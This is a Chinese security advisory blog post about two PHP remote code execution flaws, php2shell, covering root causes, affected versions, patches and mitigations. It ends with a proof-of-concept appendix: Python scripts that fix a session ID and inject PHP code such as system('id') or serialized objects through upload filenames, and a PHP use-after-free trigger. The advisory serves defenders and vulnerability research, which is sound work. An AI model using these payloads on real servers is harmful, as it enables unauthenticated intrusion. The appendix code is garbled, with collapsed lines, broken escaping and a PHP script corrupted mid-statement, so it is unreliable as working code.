【核弹漏洞】php2shell(CVE-2026-109618 / CVE-2026-109619)是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞
原创
网络安全民工
网络安全民工
网络安全民工
2026年10月21日 22:35
浙江
去阅读
核心结论:php2shell(CVE-2026-109618 / CVE-2026-109619)是 PHP Core 中两个无需认证即可远程触发的代码执行漏洞,CVSS v4.0 评分均为 9.2。PHP 官方已于 2026年10月21日 发布修复版本 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35,并明确表示“更新是唯一安全的选择”,没有任何配置层面的措施能构成完整缓解。
谁处于风险之中
PHP 官方公告的措辞没有留余地:所有处理 Web 请求的 PHP 安装均受影响,包括 PHP-FPM、Apache mod_php、php-cgi、FrankenPHP 和 LiteSpeed。
其中 mod_php 被官方标注为最高风险。原因在于 Apache mod_php 会在请求启动失败时无条件调用请求关闭流程,而未认证请求触发的内存破坏可以在任何应用代码运行之前就被关闭流程处理,形成“应用无关”的攻击路径。FPM 在请求启动失败时会直接退出子进程,阻止了这条特定路径,但源码分析仍将 FPM 列为易感,只是尚未演示出完整的 FPM 利用。
Palo Alto Networks 的遥测显示,截至公告发布时,暴露面约为 2260 万个实例。另一个值得防守方警惕的数据点是:每五个服务器中有四个隐藏了精确的 PHP 版本(关闭了 X-Powered-By),主动扫描的可见性远低于直觉。
漏洞概述
PHPsession.upload_progress处理程序中的两个严重漏洞使得在 PHP 5.4.0 到 8.5.x 版本中无需身份验证即可执行远程代码。
| 漏洞 | 根本原因 | 影响 |
|---|---|---|
| 会话固定 | MULTIPART_EVENT_FORMDATA 接受 POST 请求体中的 PHPSESSID,忽略use_only_cookies |
攻击者控制会话 ID 和文件路径 |
| 文件名注入 | add_assoc_string_ex(*data->filename) 会话中存储原始文件名,不进行验证 |
将 PHP 代码/序列化对象注入到会话文件中 |
| 序列化器泄漏 | PS(serializer) 未重置php_rshutdown_session_globals() |
FPM 中的跨请求处理程序不匹配 |
| var\_destroy UAF | i_zval_ptr_dtor 第 310 行发生火灾,__destruct但没有BG(serialize_lock) |
堆释放后使用 → 任意代码执行 |
官方根因:两个独立的缺陷,而非一条利用链
这是理解 php2shell 的关键。PHP 官方将两个 CVE 描述为两个独立的根本原因,社区 PoC 中常见的“一条链串起两个编号”的叙事需要与官方定性区分。
CVE-2026-109618:OOM 处理中的内存状态破坏
PHP 使用 longjmp() 处理内存耗尽(OOM)错误,以退出当前上下文并中止请求。问题在于:在某些上下文中,请求内存在完全初始化之前就已经可达。如果此时发生分配失败,PHP 没有正确考虑这次提前退出,导致请求内存在无效状态下被关闭流程读取或分支。
官方补丁的修法是移除 OOM 场景下的 longjmp(),改为在下一个 VM 安全点触发延迟的“软 OOM”,并在达到更高阈值时使用 _exit() 执行“硬 OOM”。这样关闭流程不会再看到无效状态,同时保留了 PHP 正常的内存限制能力。
CVE-2026-109619:陈旧的全局状态
请求所有的内部状态可以在其底层内存被释放之后仍然存活。同一个 worker 处理的后续请求,可能在正常初始化重置之前使用到这份陈旧状态。Unit 42 进一步指出,这涉及 longjmp() 致命错误处理后全局内存指向已释放区域,后续请求可以读取或基于这些区域进行分支,从而执行任意代码。
PoC 的真实状态:攻击面已验证,完整武器化仍有距离
公开 PoC 的存在需要被正视,但同样需要被准确定位。
已复现的“逻辑链”攻击面
以 ikow/php2shell-poc 为代表的研究仓库确认了三条绕过认证、可到达危险操作的原语链:
链 A:会话文件注入 + 应用 LFI
session.upload_progress 默认启用,且 MULTIPART_EVENT_FORMDATA 处理器接受 POST body 中的 PHPSESSID,绕过了 session.use_only_cookies。上传的文件名被原样存入会话文件,不做任何净化。如果目标应用存在本地文件包含(LFI)sink,即可包含会话文件执行注入的 PHP 代码。验证输出为 uid=33(www-data)。
链 B:var_destroy 的 __destruct 重入 UAF
在 unserialize() 路径上,var_destroy 的清理阶段触发 __destruct,此时 BG(serialize_lock) 状态允许内部再次调用 unserialize(),形成释放后重用。ASAN 已确认堆 UAF。
链 C:处理器不匹配 → __destruct → 对象注入
当不同目录使用不同的 session.serialize_handler 时,php 解码器在遇到 | 时会盲分割并反序列化注入的对象。关键点在于:即使解码返回 FAILURE,var_destroy 的清理过程仍然会触发 __destruct。这意味着解码失败并不能阻止对象注入和后续的 POP gadget 利用,且这条链不需要应用存在 include/eval sink,只需要一个可用的 __destruct gadget 类——主流框架通常都会提供。
但根因归属存在分歧
上述 PoC 链的验证是真实的,但 ikow 将 CVE 核心归因于 var_destroy 的 __destruct 重入 UAF + 序列化器泄漏,这与 PHP 官方公告的 OOM 损坏 + 陈旧全局状态 是不同的代码路径描述。WoYinDao 的研究也独立指出了这一分歧,其内存破坏实验在 Docker 官方构建上未能将 258 字节请求转化为完整利用,而 ikow 的工作则确认了 UAF 的存在。
对防御方的含义:社区 PoC 中的逻辑链(会话固定、文件名注入、handler mismatch)是真实可达的攻击面,PHP 官方建议中禁用 session.upload_progress 直接针对的就是这些路径。但 CVE 的完整根因以官方公告为准,PoC 中的 UAF 武器化程度尚未达到“开箱即用的远程 RCE” 的公开状态。这不降低升级的紧迫性,但应避免将“PoC 存在”等同于“任意目标可被一键攻破”。
版本矩阵与 EOL 的真实处境
| 分支 | 状态 | 处置 |
|---|---|---|
| 8.5.x | 修复于 8.5.12 | 立即升级 |
| 8.4.x | 修复于 8.4.27 | 立即升级 |
| 8.3.x | 修复于 8.3.36 | 立即升级 |
| 8.2.x | 修复于 8.2.35 | 立即升级 |
| 8.1 / 8.0 / 7.4 | EOL,无官方发布更新 | 官方提供了最小化源码回溯补丁(PHP 7.4 / 8.0 / 8.1 分支),供自行编译或 LTS 发行版使用 |
| 7.3 及更早 / 5.x | EOL,无任何官方或回溯支持 | 迁移或网络隔离 |
一个需要纠正的常见误读是“7.x/8.0/8.1 完全无解”。官方确实不为这些分支发布常规版本,但提供了可用的源码回溯补丁。如果无法立即迁移,编译回溯补丁是一个现实的中间选项;对于发行版用户,应优先联系发行版或 LTS 厂商确认是否已集成。
临时措施:分层使用,但不要误认为是“修复”
PHP 官方对此的表述非常直接:以下措施“仅减少特定攻击路径的暴露,并不使安装变得安全”。
针对 CVE-2026-109618(OOM 路径)
- 设置
memory_limit=-1,通过php_admin_value等应用无法覆盖的方式设置,并确认没有 pool、目录或应用设置重新引入有限内存限制。这移除了可控的 OOM 触发点,但底层分配失败(如mmap()失败)仍可能到达易感路径。 - 收紧
post_max_size:无需上传的应用设为 8M,需要上传的设为 32M,并保持upload_max_filesize小于post_max_size。在 Web 服务器或代理层额外限制解码后的请求大小、字段数、multipart part 数、header 数和嵌套深度,且这些限制必须覆盖没有可用 Content-Length 的请求。
针对 CVE-2026-109619(陈旧状态路径)
- 设置
session.upload_progress.enabled=0并重启每一个 worker。必须通过php.ini、FPM pool 或服务器配置生效,不要依赖ini_set()或.user.ini,因为它们可能在请求解析之后才应用。 - PHP 8.5 额外设置
fatal_error_backtraces=0并重启 worker,以阻断已确认的致命错误回溯路径。
这些措施的关系
session.upload_progress.enabled=0 直接切断了社区 PoC 中已复现的会话注入和 handler mismatch 逻辑链,在公开攻击面上有实测止损效果。但它不能替代官方补丁,因为 OOM 路径(CVE-2026-109618)并不完全依赖 upload\_progress 功能,底层的分配失败仍可触发。memory_limit=-1 和 post_max_size 收紧是针对 OOM 路径的补充,但同样不是完整修复。
处置优先级
第一优先:升级受支持分支(8.2+) 。目标版本 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35。如果使用 rpms.remirepo.net,官方明确警告该仓库当天不会有更新,需要切换到发行版包或从源码构建。
第二优先:EOL 分支(7.4 / 8.0 / 8.1) 。编译官方提供的源码回溯补丁,或联系发行版/LTS 厂商确认回溯状态;无法编译或获取回溯的,执行上述分层临时措施,并规划迁移。
第三优先:7.3 及更早 / 5.x 。无补丁可用。临时措施仅能降低特定路径暴露,必须网络隔离、白名单访问或下线,并制定迁移时间表。
贯穿始终:将 session.upload_progress.enabled=0 和 memory_limit / post_max_size 收紧作为升级完成前的过渡性纵深防御,而不是等待升级的替代方案。
一句话总结:php2shell 的 PoC 生态已经证明会话处理路径上的攻击面是真实可达的,但官方根因指向的是更底层的 OOM 与全局状态管理缺陷——这意味着任何单一配置开关都无法堵住全部路径。升级到 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 是唯一完整解法,EOL 分支必须通过源码回溯或隔离来处置。
POC附录
CVE-2026-109618/109619-验证会话处理程序不匹配 >对象注入
#!/usr/bin/env python3\"\"\"CVE-2026-109618/109619 — Verify session handler mismatch → object injection.Demonstrates: 1. Session written in php_serialize format (via directory with .user.ini) 2. Pipe | in filename preserved in php_serialize format 3. php handler reads the session → splits at | → deserializes injected object 4. __destruct fires even when decode returns FAILURE (trailing data)Setup required: - /app/ directory with .user.ini: session.serialize_handler = php_serialize - /api/ directory with .user.ini: session.serialize_handler = php - Both share the same session.save_pathUsage: python3 verify_handler_mismatch.py --target http://127.0.0.1:18080For authorized security testing only.\"\"\"import argparseimport socketimport sysfrom urllib.parse import urlparsedef upload(host, port, path, sid, filename): boundary = \"MISMATCH\" body = ( f\"--{boundary}\\r\
\" f'Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
' f\"--{boundary}\\r\
\" f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
x\\r\
' f\"--{boundary}\\r\
\" f'Content-Disposition: form-data; name=\"f\"; filename=\"{filename}\"\\r\
\\r\
Z\\r\
' f\"--{boundary}--\\r\
\" ).encode(\"latin-1\") req = ( f\"POST {path} HTTP/1.1\\r\
\" f\"Host: {host}\\r\
\" f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\" f\"Content-Length: {len(body)}\\r\
\" f\"Connection: close\\r\
\\r\
\" ).encode() + body s = socket.create_connection((host, port), timeout=15) s.sendall(req) s.settimeout(10) resp = b\"\" while True: try: d = s.recv(65536) if not d: break resp += d except socket.timeout: break s.close() return respdef main(): ap = argparse.ArgumentParser() ap.add_argument(\"--target\", default=\"http://127.0.0.1:18080\") ap.add_argument(\"--write-path\", default=\"/app/upload.php\", help=\"Endpoint with php_serialize handler\") ap.add_argument(\"--read-path\", default=\"/api/endpoint.php\", help=\"Endpoint with php handler\") ap.add_argument(\"--sid\", default=\"mismatchverify0000000000000\") args = ap.parse_args() u = urlparse(args.target) host = u.hostname port = u.port or 80 print(\"[*] CVE-2026-109618/109619 — Handler Mismatch Verification\") print(f\"[*] Target: {args.target}\") print() # Step 1: Write session via php_serialize endpoint # Filename contains |O:8:\"stdClass\":0:{} (escaped quotes) gadget = 'x|O:8:\\\\\"stdClass\\\\\":0:{}' print(f\"[1] Writing session via {args.write_path} (php_serialize)\") print(f\" Filename payload: {gadget}\") upload(host, port, args.write_path, args.sid, gadget) print(\" → Session file written in php_serialize format\") # Step 2: Trigger via php handler endpoint print(f\"\
[2] Triggering mismatch via {args.read_path} (php handler)\") print(\" php handler scans for | → splits → deserializes O:8:\\\"stdClass\\\":0:{}\") resp = upload(host, port, args.read_path, args.sid, \"dummy\") status = resp.split(b\"\\r\
\", 1)[0].decode(\"latin1\", \"replace\") if resp else \"NO RESPONSE\" print(f\" Response: {status}\") print() print(\"[*] Verification indicators:\") print(\" - 'Failed to decode session object' warning = mismatch triggered\") print(\" - 'Session object destruction failed' = __destruct fired on injected object\") print(\" - If target has a class with exploitable __destruct → RCE\") print() print(\"[*] Check target for:\") print(f\" - Session file: /tmp/sessions/sess_{args.sid}\") print(\" - Evidence of __destruct execution (file writes, network connections, etc.)\")if __name__ == \"__main__\": main()
CVE-2026-109618/109619-通过 upload\_progress文件名验证会话文件注入。
#!/usr/bin/env python3\"\"\"CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.Demonstrates: 1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies) 2. Unvalidated filename stored raw in session file (can contain PHP code) 3. Session file created with attacker-controlled contentUsage: python3 verify_session_injection.py --target http://127.0.0.1:18080For authorized security testing only.\"\"\"import argparseimport socketimport sysfrom urllib.parse import urlparsedef send_upload(host, port, path, sid, filename): boundary = \"VERIFY\" body = ( f\"--{boundary}\\r\
\" f'Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
' f\"--{boundary}\\r\
\" f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
x\\r\
' f\"--{boundary}\\r\
\" f'Content-Disposition: form-data; name=\"f\"; filename=\"{filename}\"\\r\
\\r\
Z\\r\
' f\"--{boundary}--\\r\
\" ).encode(\"latin-1\") req = ( f\"POST {path} HTTP/1.1\\r\
\" f\"Host: {host}\\r\
\" f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\" f\"Content-Length: {len(body)}\\r\
\" f\"Cookie: PHPSESSID={sid}\\r\
\" f\"Connection: close\\r\
\\r\
\" ).encode() + body s = socket.create_connection((host, port), timeout=15) s.sendall(req) s.settimeout(10) resp = b\"\" while True: try: d = s.recv(65536) if not d: break resp += d except socket.timeout: break s.close() return respdef main(): ap = argparse.ArgumentParser() ap.add_argument(\"--target\", default=\"http://127.0.0.1:18080\") ap.add_argument(\"--path\", default=\"/index.php\") ap.add_argument(\"--sid\", default=\"verifysession00000000000000\") args = ap.parse_args() u = urlparse(args.target) host = u.hostname port = u.port or 80 print(\"[*] CVE-2026-109618/109619 — Session Injection Verification\") print(f\"[*] Target: {args.target}\") print() # Test 1: Normal filename print(\"[1] Testing normal filename...\") send_upload(host, port, args.path, args.sid + \"a\", \"normal.txt\") print(\" → Session file should contain: s:10:\\\"normal.txt\\\"\") # Test 2: PHP code in filename php_payload = \"<?php system('id');echo 'RCE';?>\" print(f\"[2] Testing PHP code in filename: {php_payload}\") send_upload(host, port, args.path, args.sid + \"b\", php_payload) print(f\" → Session file should contain PHP code as raw string\") # Test 3: Pipe character in filename (for handler mismatch) pipe_payload = \"x|O:8:\\\"stdClass\\\":0:{}\" print(f\"[3] Testing pipe + serialized object in filename\") # Need \\\" escaping for Content-Disposition escaped = pipe_payload.replace('\"', '\\\\\"') send_upload(host, port, args.path, args.sid + \"c\", escaped) print(f\" → Session file should contain |O:8: in the filename field\") print() print(\"[*] Verification complete. Check session files on the target:\") print(f\" cat /tmp/sessions/sess_{args.sid}a\") print(f\" cat /tmp/sessions/sess_{args.sid}b\") print(f\" cat /tmp/sessions/sess_{args.sid}c\") print() print(\"[*] Key indicators:\") print(\" - Session fixation: file created with attacker-controlled SID\") print(\" - Filename injection: raw PHP code / serialized objects in session data\") print(\" - No authentication required\")if __name__ == \"__main__\": main()
CVE-2026-109618/109619 - var\_destroy \_destruct 重入 UAF验证
<?php/** * CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification. * * Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851). * * Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS=\"detect_leaks=0\" php verify_uaf_asan.php * * Root cause: var_destroy() frees back-reference extension chunks (line 245), * then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock). * Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read. * * For authorized security testing only. */class TriggerUAF { public function __destruct() { fwrite(STDERR, \"[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\
\"); fwrite(STDERR, \"[*] Attempting R:1500 backref into freed var_hash extension chunk...\
\"); $result = @unserialize('R:1500;'); $type = gettype($result); fwrite(STDERR, \"[*] R:1500 resolved to: $type\
\"); if (N = 2000;$payload = 'a:' . ($N + 2) . ':{';for ($i = 0; $i < $N; $i++) { $payload .= \"i:$i;i:payload .= 'i:99999;O:10:\"TriggerUAF\":0:{}';$payload .= 'i:99999;i:42;';$payload .= '}';fwrite(STDERR, \"[*] Payload: \" . strlen($payload) . \" bytes, $N entries + UAF trigger\
\");fwrite(STDERR, \"[*] Firing unserialize()...\
\");@unserialize($payload);fwrite(STDERR, \"[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\
\");fwrite(STDERR, \"[*] Expected ASAN trace:\
\");fwrite(STDERR, \" READ at php_var_unserialize (var_unserializer.c:851)\
\");fwrite(STDERR, \" freed at var_destroy (var_unserializer.c:245)\
\");
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论